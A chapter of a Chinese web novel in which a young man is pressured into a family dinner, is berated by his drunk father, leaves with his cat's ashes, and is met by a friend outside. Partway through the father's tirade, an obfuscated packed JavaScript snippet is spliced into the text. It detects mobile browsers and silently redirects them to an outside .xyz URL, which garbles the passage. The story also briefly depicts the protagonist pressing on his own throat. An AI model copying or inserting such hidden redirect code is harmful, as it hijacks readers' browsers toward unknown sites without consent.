七月四日，天气阴转晴。
宋郁疲惫地捏捏眉心，收起手机，拿着只装有几件衣服的行李箱随着人流出站。
周围的人或步履匆匆前往下一个目的地，或满心欢喜拥入家人的怀抱，或雀跃地与朋友规划游玩路线。
他们都有着清晰的去处和计划。
宋郁沉默经过他们的欢声笑语，觉得自己像断了线的风筝，轻飘飘的，无处可归，满腔迷茫。
世界绚丽多彩，他是那一抹枯燥的暗色，孤单、格格不入。
他偶影独游，孑然一身。
宋郁垂着眼，进入地铁站，他突然停下，看着手机屏幕里弹出的电话。
响到第十秒，他才迟迟接起：“妈。”
王梅芳声音温温柔柔：“小郁，下高铁了吗？”
宋郁“嗯”一声，他下了扶梯，抬眼看周围，他左手边是回出租屋的方向，右手边则是回家的方向。
“小郁，你今天回来吗？”王梅芳小心翼翼问道，“我做好饭了。”
回出租屋方向的地铁前已经排起队。
宋郁皱眉，想拒绝。
王梅芳小声说：“今天大家都在，你弟弟也回来，你都好久没回来。”她语气中带上些许乞求。
宋郁声音没什么温度：“不用了。”
他刚要抬脚走去排队，就听见王梅芳急忙说：“为什么不回来？”
她声调突然提高，变得尖锐刺耳：“就因为我们当初把你的猫放走了？”
“因为这个一辈子不跟我们往来了？我们可是你的家人！”
血亲像锋利丝线将宋郁束缚住，他挣脱不得，一动便被割破血肉，血流不止。
他张了张嘴，却发现自己发不出一点声音。
电话的另一端还在歇斯底里：“宋郁，我告诉你，你今晚要是不回来，我就把猫骨灰扔进海里！”
“好，我回去！”宋郁打断她的话，妥协道。
他转身，地铁恰好进站。
王梅芳听见他妥协，又切换回关心怜爱的语气：“好。我今天做了你最喜欢的大虾，你爸爸还订了蛋糕，给你弟弟过生日。”
宋郁耳朵里“嗡”的一声，他听见自己声音虚浮：“今天？”
“你弟弟生日那天不是正好在学校回不来，今天刚好给过了。”
宋郁微微合眼，攥着行李箱的手指用力到发白，喉咙里像梗着一块锋利的石子，一直痛到心口。
“挂了，妈。”他努力维持着正常语调，“我一会儿就回去。”
电话挂断，他攥着手机，像个游魂一样上了地铁，眼神呆滞地落在车门。直到播报声响起，身旁的人开始移动，有人碰到宋郁胳膊，他才回神，缓缓起身，机械地下了车。
晃动的人影落在宋郁眼里变成没有头的鱼，他像溺在水中，一切声响都像蒙上一层膜，变得不真切，模模糊糊。
宋郁恍恍惚惚，完全凭借肌肉记忆走出站点。
天上的阴云和周遭无比熟悉的环境，无一不在提醒他，要回家了，那个压抑、病态的家。
宋郁走到家门前。看着贴满各种广告的门，狠狠掐了自己一把，痛意让他短暂清醒。
他抬手，犹豫是直接开门还是敲门时，门却突然从里面被打开。
宋郁后退半步，没有聚焦的眼神对上宋国强的眼睛。
宋国强脸上挂着的笑瞬间消失，两人一人板着脸一人冷着脸，就这样在门口僵持。
“你怎么回来了。”宋国强冷哼一声，语气不善。
宋一青听见门口的动静，伸头来看，越过宋国强看到宋郁的身影，惊喜喊道：“哥，你回来了！”
宋郁看着宋国强，手攥紧行李箱扶手，冷漠道：“妈让我回来的。”
“小郁回来了？”王梅芳拿这个锅铲，急匆匆走过来，亲昵地喊着宋郁进来，丝毫看不出刚刚电话中的失控。
“你不是去买酒吗，快去！站门口干什么。”王梅芳推了宋国强一把，让他别站门口挡道。
宋国强冷哼一声，头也不回地下楼去了。
王梅芳的手握在宋郁胳膊上，他想挣开，但没有干。
他一直不习惯王梅芳的性子，上一秒还在对你大发雷霆，下一秒就若无其事地柔声问你午饭吃什么，像六月份的天气，变化无常，难以捉摸。
宋一青坐在沙发上，翘着二郎腿，啃着苹果百无聊赖地看着狗血电视剧。
“别吃苹果了，等会吃不下饭了。”王梅芳松开宋郁对他弟弟佯装嗔怒道，连一个眼神都没舍得再分给他，然后拿着锅铲自言自语地回到厨房。
宋郁立在那里，不大的家里走路都会撞到肩膀，王梅芳的胳膊碰到他的胳膊，两个人的反应却比萍水相逢的陌生人还冷淡。
身侧的餐桌上，一盘油亮亮的大虾摆在中间。
宋郁目光轻轻地扫过，没有长久的停留。他直接推开杂物间的门，从架子的最底层搬出一个放书的纸箱子，从里面拿出个粉色小陶罐。
他被灰尘呛得轻咳几声。
宋一青看见他哥手里的东西，好奇问道：“这是什么？”
宋郁从桌上抽了几张纸，擦干净上面的灰尘，敷衍回答：“没什么。”
宋一青拿起遥控器按掉电视机后倚回沙发：“哦。”
没意思。
家里进入一种诡异的安静，偶尔从厨房露出几声炒菜声。
一直维持到宋国强回来，王梅芳把每个人安排上餐桌。
时间太长，最早上桌的菜已经没了热气。
王梅芳给宋一青夹了一个大虾，催促着他快点吃。宋国强给自己到了杯白酒，端着杯子咂摸品尝。
宋郁舟车劳顿一天，根本没有胃口，筷子都没动几下。
宋国强酒品差的很，喝两口酒就开始口若悬河，指点江山。他眯着眼，用手指指着宋郁，口齿不清：“你看看理工科发展多好，毕业黄领一穿，工资大几万，让你当初选相关专业你不选。”
又开始了。宋郁不做声，这套话他已经听了无数遍。
见他默不作声，宋国强说得更起劲：“非得报哪什么劳什子汉语言，你看看你二叔家的小孩，现在年薪百万！”
“你真是一点不如人家！跟你说的建议也从来不听，我们能害你吗？”
建议？宋郁心里冷呵一声，放下筷子，道：“我吃饱了。”
“去哪儿？坐下。”宋国强看自己儿子忽略他，怒火中烧，他猛地一拍桌子：“你当这是饭馆啊，吃饱就走！”
王梅芳以往都保持沉默，今天却一反常态拉住宋国强：“少说两句。”
“不让我说？凭什么不让我说。”他推开王梅芳的胳膊，指着宋郁鼻子，“你看看他现在像什么样子，连个工作都没有，一事无成。”
“你看看你堂哥多优秀！”
“越长大越没规矩了！”
“说你两句你就装聋！”
往日的话全都浮现在宋郁耳边。
“为什么不选理科！我都辛辛苦苦为你谋划，你就这么不放在眼中！”
“看看你那个烂成绩！你还有脸养猫”
“为什么不按我给你规划的走！你这报的什么狗屁专业！”
“要不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340927|183443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是我们，谁还愿意养着你！”
宋郁的沉默落在宋国强眼里成了忤逆。
宋国强将杯中白酒一饮而下，醉醺醺道：“你知道人家都怎么说我吗，说我有个一事无成的大儿子。”
宋郁忍无可忍，起身要离开，结果被王梅芳拦住：“好歹等你弟弟吹完蜡烛再走，我做这么多虾，你怎么一个都没吃。”
宋郁深深看了眼她，意外冷静道：“我海鲜过敏，不喜欢吃虾，也不能吃虾。”
王梅芳一怔：“什么？”
宋郁看了眼墙上的钟表：“给我弟弟过生日是吧，吹蜡烛是吧，能现在吗，我赶时间。”
宋国强彻底爆发：“滚，滚出去！”
宋郁拿起小陶罐，如他的愿。他走到门口，嘴角扯出个笑：“爸，你知道外面人都怎么说我的吗？”
他抬着头，高高在上审视桌上三人：“他们都说我是赌狗的儿子。”
门砰的一声关上，宋郁听见玻璃杯破碎的声音和宋国强歇斯底里的骂声：“滚！越远越好！”
宋郁脱力靠在楼梯扶手上，额头冷汗直冒，眼前阵阵发黑。他抱着小猫骨灰罐子的手又开始控制不住地发抖，逐渐找不到自己的呼吸。
隐约还能听见门里传出的骂声。
宋郁仰起头，泪水还是控制不住从眼角划落。
“呵。”他颤着手抹掉眼泪，努力克制着失控边缘的情绪，“每次都是这样。”
他们从来不会记得他爱吃什么，不能吃什么，什么时候过生日。更不会过问他喜欢什么，想做什么，过得怎么样。他们只是一味地指责，指责他没出息，指责他不按照规划的道路走。
楼道里的感应灯灭了，宋郁起身离开，对生活了十几年的家没有丝毫留念。
宋郁回到出租屋，几天没回来的屋中满是冷清和黑暗，他环视一圈，没有开灯，将怀里的骨灰放到玄关处。
他抬手解衬衫扣子，抽掉腰带，一件件脱下衣服，光脚赤裸，踩着地上衬衫西裤，走进浴室。
宋郁讨厌虾味，讨厌到反胃恶心。淋浴头下，他报复性搓着自己皮肤，脑海里回荡着亲生父亲恶毒的话。冷白的皮肤泛红大片，他靠在坚硬冰冷的瓷砖上，仰头看着忽明忽暗的灯泡，脸上分不清是泪还是水。他尝试清空一团乱麻的大脑，平复要失控的情绪，但都以失败告终。
宋郁抬起双手，慢慢附上自己的脖子，逐渐收紧用力。
时针指向十一点，宋郁洗完澡，头发半干，发稍着滴水落到深蓝色睡衣上，晕湿肩膀一小块。他脖间的红痕还未消退，在深色衣服的衬托下更加明显。
他疲惫靠在沙发上，外面传来几声狗叫声。
手机亮起，成为黑黢黢世界里唯一的光亮。他半阖着眼，看见手机跳出好多条消息，最新一条是两分钟前。
【AAA.咖啡批发】：回来了吗？
宋郁又听见外面的一声狗叫，很像开心的声音。阳台中挤进来一丝风，宋郁看着天花板，莫名想到：“阴转晴，外面晴天了吗，会有星星吗？”
宋郁拿起手机，打字回复：回来了。
他起身走到阳台，还没注意到星星就先看到路灯下的人。
他的心狠狠一跳。
许闻意蹲在路灯下，靠在端坐的开心身上。
许闻意抬头，看见像鬼一样的宋郁，高兴地冲他挥手。停滞一天的阴云悄无声息散开，今夜没星星，却有比星星更耀眼的人。
她并指指手机，迅速低头打字。
宋郁手机跳出来一条新消息。
【AAA.咖啡批发】：下来！